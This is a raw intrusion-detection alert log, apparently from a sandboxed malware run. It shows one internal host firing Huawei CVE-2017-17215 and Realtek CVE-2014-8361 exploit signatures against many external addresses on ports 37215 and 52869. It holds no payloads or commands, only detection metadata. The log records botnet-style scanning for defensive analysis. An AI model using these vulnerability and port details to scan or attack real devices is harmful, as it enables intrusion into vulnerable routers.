07/20/24-23:01:07.018425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50070	37215	192.168.2.23	70.120.208.1
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45278	37215	192.168.2.23	197.222.87.125
07/20/24-23:01:26.226478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51024	52869	192.168.2.23	103.227.74.238
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41418	37215	192.168.2.23	197.93.167.88
07/20/24-23:01:41.549052	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58950	52869	192.168.2.23	52.97.71.90
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48302	37215	192.168.2.23	71.233.58.215
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43122	37215	192.168.2.23	41.28.206.33
07/20/24-23:01:45.037292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56686	52869	192.168.2.23	186.231.211.62
07/20/24-23:01:54.922661	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41182	52869	192.168.2.23	62.211.74.184
07/20/24-23:01:43.283253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37266	52869	192.168.2.23	223.250.7.213
07/20/24-23:01:50.128003	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40278	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:25.752492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52942	52869	192.168.2.23	203.166.233.2
07/20/24-23:01:41.496780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53180	52869	192.168.2.23	77.77.166.196
07/20/24-23:02:10.141900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38882	52869	192.168.2.23	201.77.215.250
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48670	37215	192.168.2.23	157.241.240.40
07/20/24-23:01:43.020186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58968	52869	192.168.2.23	23.210.80.134
07/20/24-23:01:44.756265	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59170	52869	192.168.2.23	156.254.5.127
07/20/24-23:01:02.272048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42216	52869	192.168.2.23	64.43.73.86
07/20/24-23:01:08.638879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36752	52869	192.168.2.23	80.176.127.107
07/20/24-23:01:42.717611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56282	52869	192.168.2.23	201.170.107.7
07/20/24-23:01:42.780168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41356	52869	192.168.2.23	187.139.238.2
07/20/24-23:01:49.412594	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47728	52869	192.168.2.23	117.131.224.39
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32936	37215	192.168.2.23	137.33.55.254
07/20/24-23:01:08.619597	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34266	52869	192.168.2.23	40.55.203.85
07/20/24-23:01:44.881852	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47792	52869	192.168.2.23	212.188.148.79
07/20/24-23:01:50.075288	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41624	52869	192.168.2.23	118.134.216.118
07/20/24-23:01:34.045144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51684	37215	192.168.2.23	157.248.228.18
07/20/24-23:01:14.097135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55036	37215	192.168.2.23	41.142.235.21
07/20/24-23:01:04.155095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50178	52869	192.168.2.23	218.228.206.146
07/20/24-23:01:25.012815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41020	52869	192.168.2.23	115.28.108.81
07/20/24-23:01:44.968238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50916	52869	192.168.2.23	145.77.223.88
07/20/24-23:00:59.185032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60908	37215	192.168.2.23	41.96.218.16
07/20/24-23:01:44.826234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36994	52869	192.168.2.23	111.252.176.80
07/20/24-23:01:10.770014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56962	52869	192.168.2.23	112.132.188.245
07/20/24-23:01:47.062116	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33920	52869	192.168.2.23	74.191.12.65
07/20/24-23:01:41.258403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41176	52869	192.168.2.23	5.95.241.47
07/20/24-23:01:45.060540	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45630	52869	192.168.2.23	78.233.35.58
07/20/24-23:01:08.632574	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41520	52869	192.168.2.23	4.114.3.131
07/20/24-23:01:07.022763	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57968	37215	192.168.2.23	171.136.141.166
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47260	37215	192.168.2.23	8.108.207.220
07/20/24-23:01:42.664090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58386	52869	192.168.2.23	113.55.199.122
07/20/24-23:02:06.393178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37356	52869	192.168.2.23	169.213.252.233
07/20/24-23:01:25.001980	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40936	52869	192.168.2.23	199.241.141.173
07/20/24-23:01:08.582150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50248	52869	192.168.2.23	120.187.5.172
07/20/24-23:01:13.192248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60782	52869	192.168.2.23	75.68.195.20
07/20/24-23:01:44.469869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53226	52869	192.168.2.23	156.42.244.253
07/20/24-23:01:01.443835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52384	52869	192.168.2.23	90.243.193.156
07/20/24-23:01:41.991545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48104	52869	192.168.2.23	164.216.180.24
07/20/24-23:01:08.668802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37334	52869	192.168.2.23	205.45.42.138
07/20/24-23:02:11.791090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44728	52869	192.168.2.23	208.100.183.132
07/20/24-23:00:59.218458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51490	37215	192.168.2.23	41.75.68.114
07/20/24-23:01:43.135090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45490	52869	192.168.2.23	50.90.160.227
07/20/24-23:02:17.128771	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55714	52869	192.168.2.23	201.34.254.148
07/20/24-23:01:59.292118	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58552	52869	192.168.2.23	159.133.17.143
07/20/24-23:01:53.432917	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36590	52869	192.168.2.23	141.86.15.181
07/20/24-23:02:01.256493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38542	52869	192.168.2.23	38.218.208.52
07/20/24-23:01:20.599458	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37604	52869	192.168.2.23	105.36.101.44
07/20/24-23:01:45.053180	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51216	52869	192.168.2.23	74.211.16.76
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37116	37215	192.168.2.23	27.137.24.94
07/20/24-23:01:10.251070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37010	52869	192.168.2.23	207.199.110.98
07/20/24-23:01:47.726021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41158	52869	192.168.2.23	20.63.97.204
07/20/24-23:01:31.978142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58734	37215	192.168.2.23	197.153.118.82
07/20/24-23:01:42.374543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54338	52869	192.168.2.23	189.30.194.82
07/20/24-23:01:43.607934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51514	52869	192.168.2.23	41.215.7.68
07/20/24-23:01:48.275988	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48426	52869	192.168.2.23	107.5.49.194
07/20/24-23:01:02.299793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45716	52869	192.168.2.23	130.136.141.197
07/20/24-23:01:53.066716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44782	52869	192.168.2.23	69.202.155.168
07/20/24-23:01:59.850516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56446	52869	192.168.2.23	64.55.184.24
07/20/24-23:01:58.460651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39324	52869	192.168.2.23	217.154.142.187
07/20/24-23:01:08.574948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46830	52869	192.168.2.23	4.131.130.12
07/20/24-23:01:41.392528	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53270	52869	192.168.2.23	185.161.24.118
07/20/24-23:01:07.062666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48206	37215	192.168.2.23	197.216.11.202
07/20/24-23:01:43.328792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50676	52869	192.168.2.23	174.138.8.92
07/20/24-23:01:48.924853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39902	52869	192.168.2.23	146.33.84.180
07/20/24-23:01:50.131564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51436	52869	192.168.2.23	105.84.86.167
07/20/24-23:02:08.135557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53152	52869	192.168.2.23	132.64.30.154
07/20/24-23:01:12.806645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40026	52869	192.168.2.23	44.76.102.214
07/20/24-23:01:01.630356	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56840	52869	192.168.2.23	42.114.143.158
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54338	37215	192.168.2.23	157.215.58.156
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34808	37215	192.168.2.23	41.19.255.66
07/20/24-23:00:57.222207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34718	37215	192.168.2.23	197.89.108.63
07/20/24-23:01:47.535939	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53784	52869	192.168.2.23	129.40.249.193
07/20/24-23:01:52.242138	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47118	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:42.727936	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43048	52869	192.168.2.23	128.128.73.171
07/20/24-23:01:45.827400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41062	52869	192.168.2.23	126.163.211.196
07/20/24-23:01:57.297792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54704	52869	192.168.2.23	204.80.169.189
07/20/24-23:01:08.684499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45804	52869	192.168.2.23	186.40.176.32
07/20/24-23:01:08.578116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33938	52869	192.168.2.23	188.112.254.56
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41132	37215	192.168.2.23	123.227.180.114
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43708	37215	192.168.2.23	157.159.217.211
07/20/24-23:01:45.500918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39794	52869	192.168.2.23	104.226.237.113
07/20/24-23:01:43.203681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39616	52869	192.168.2.23	169.102.32.106
07/20/24-23:01:47.692050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42114	52869	192.168.2.23	189.225.243.103
07/20/24-23:01:52.826575	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47194	52869	192.168.2.23	87.75.190.2
07/20/24-23:01:53.357099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53044	52869	192.168.2.23	167.225.20.24
07/20/24-23:01:34.043964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48498	37215	192.168.2.23	41.241.47.119
07/20/24-23:01:45.947642	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56402	52869	192.168.2.23	185.117.12.122
07/20/24-23:02:01.280564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41996	52869	192.168.2.23	157.246.241.121
07/20/24-23:01:58.945733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51978	52869	192.168.2.23	48.97.254.151
07/20/24-23:01:49.040108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60648	52869	192.168.2.23	73.50.29.53
07/20/24-23:01:45.923449	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38996	52869	192.168.2.23	169.122.121.121
07/20/24-23:01:56.910590	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46702	52869	192.168.2.23	128.36.26.52
07/20/24-23:01:01.363756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45268	52869	192.168.2.23	109.80.210.12
07/20/24-23:01:08.597662	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50536	52869	192.168.2.23	98.176.193.82
07/20/24-23:02:00.868779	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43666	52869	192.168.2.23	158.218.4.185
07/20/24-23:01:41.340201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56924	52869	192.168.2.23	182.49.153.25
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37938	37215	192.168.2.23	157.210.25.215
07/20/24-23:01:01.157005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44414	52869	192.168.2.23	12.55.180.198
07/20/24-23:01:04.212553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40552	37215	192.168.2.23	38.140.206.136
07/20/24-23:01:08.565610	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50034	52869	192.168.2.23	60.63.234.192
07/20/24-23:01:31.320679	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50886	52869	192.168.2.23	156.32.87.120
07/20/24-23:01:41.474539	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49394	52869	192.168.2.23	19.135.72.216
07/20/24-23:01:42.592736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35520	52869	192.168.2.23	103.218.156.193
07/20/24-23:01:06.996056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56356	37215	192.168.2.23	70.98.158.86
07/20/24-23:01:46.158533	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54570	52869	192.168.2.23	63.237.109.125
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59666	37215	192.168.2.23	197.28.251.253
07/20/24-23:01:42.437265	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56658	52869	192.168.2.23	102.22.43.107
07/20/24-23:01:44.514415	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40638	52869	192.168.2.23	58.25.190.68
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34864	37215	192.168.2.23	197.115.124.156
07/20/24-23:01:10.763630	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36860	52869	192.168.2.23	104.80.144.32
07/20/24-23:01:31.314147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58588	52869	192.168.2.23	184.170.117.213
07/20/24-23:01:02.755930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44056	52869	192.168.2.23	38.158.187.83
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50358	37215	192.168.2.23	41.102.199.133
07/20/24-23:01:04.621319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49808	52869	192.168.2.23	107.208.110.238
07/20/24-23:01:44.838946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47026	52869	192.168.2.23	169.196.10.52
07/20/24-23:01:08.634900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48196	52869	192.168.2.23	129.194.41.40
07/20/24-23:01:55.105161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40332	52869	192.168.2.23	62.211.74.184
07/20/24-23:01:34.045144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40918	37215	192.168.2.23	41.42.73.158
07/20/24-23:01:31.320679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57774	52869	192.168.2.23	45.144.124.12
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52556	37215	192.168.2.23	157.164.227.86
07/20/24-23:01:10.517854	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58038	52869	192.168.2.23	183.125.8.233
07/20/24-23:01:43.243266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59672	52869	192.168.2.23	142.215.251.21
07/20/24-23:01:26.734319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51386	52869	192.168.2.23	143.38.216.11
07/20/24-23:01:31.318207	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33038	52869	192.168.2.23	155.220.6.134
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51016	37215	192.168.2.23	157.8.213.94
07/20/24-23:01:44.001231	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46446	52869	192.168.2.23	145.102.1.140
07/20/24-23:01:49.172806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35860	52869	192.168.2.23	163.195.26.201
07/20/24-23:01:08.638879	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56182	52869	192.168.2.23	148.211.13.100
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60840	37215	192.168.2.23	37.233.245.194
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58644	37215	192.168.2.23	157.75.39.95
07/20/24-23:01:45.713934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42144	52869	192.168.2.23	201.140.184.210
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54070	37215	192.168.2.23	197.77.47.158
07/20/24-23:01:20.593640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58574	52869	192.168.2.23	140.34.53.233
07/20/24-23:01:45.095767	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35972	52869	192.168.2.23	210.199.180.209
07/20/24-23:00:59.175742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58932	37215	192.168.2.23	157.211.77.112
07/20/24-23:01:04.982233	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33924	52869	192.168.2.23	168.229.219.185
07/20/24-23:01:44.814790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55022	52869	192.168.2.23	119.211.191.173
07/20/24-23:01:47.990801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43992	52869	192.168.2.23	208.128.19.202
07/20/24-23:01:42.115230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60698	52869	192.168.2.23	137.127.2.156
07/20/24-23:01:47.798104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44152	52869	192.168.2.23	192.50.131.250
07/20/24-23:01:50.169961	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43394	52869	192.168.2.23	54.182.169.174
07/20/24-23:01:07.018425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59276	37215	192.168.2.23	162.118.10.225
07/20/24-23:01:42.616435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50026	52869	192.168.2.23	19.135.72.216
07/20/24-23:01:42.758954	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60556	52869	192.168.2.23	187.33.239.16
07/20/24-23:01:58.624224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60474	52869	192.168.2.23	188.52.23.162
07/20/24-23:01:08.565610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60398	52869	192.168.2.23	184.112.202.180
07/20/24-23:01:42.422050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60960	52869	192.168.2.23	162.207.42.25
07/20/24-23:01:47.644828	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55828	52869	192.168.2.23	90.205.27.15
07/20/24-23:01:08.626717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34632	52869	192.168.2.23	124.254.84.115
07/20/24-23:01:58.249042	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33212	52869	192.168.2.23	163.245.29.116
07/20/24-23:02:51.152216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51020	52869	192.168.2.23	106.28.132.38
07/20/24-23:02:53.715694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38326	52869	192.168.2.23	73.65.166.64
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46666	37215	192.168.2.23	41.58.91.210
07/20/24-23:01:46.512162	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36844	52869	192.168.2.23	97.80.44.168
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39976	37215	192.168.2.23	41.33.245.21
07/20/24-23:01:54.562310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35350	52869	192.168.2.23	108.242.179.170
07/20/24-23:00:57.221530	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57708	37215	192.168.2.23	41.143.175.164
07/20/24-23:01:41.648203	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41728	52869	192.168.2.23	150.183.54.123
07/20/24-23:01:27.677519	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40634	37215	192.168.2.23	157.27.123.11
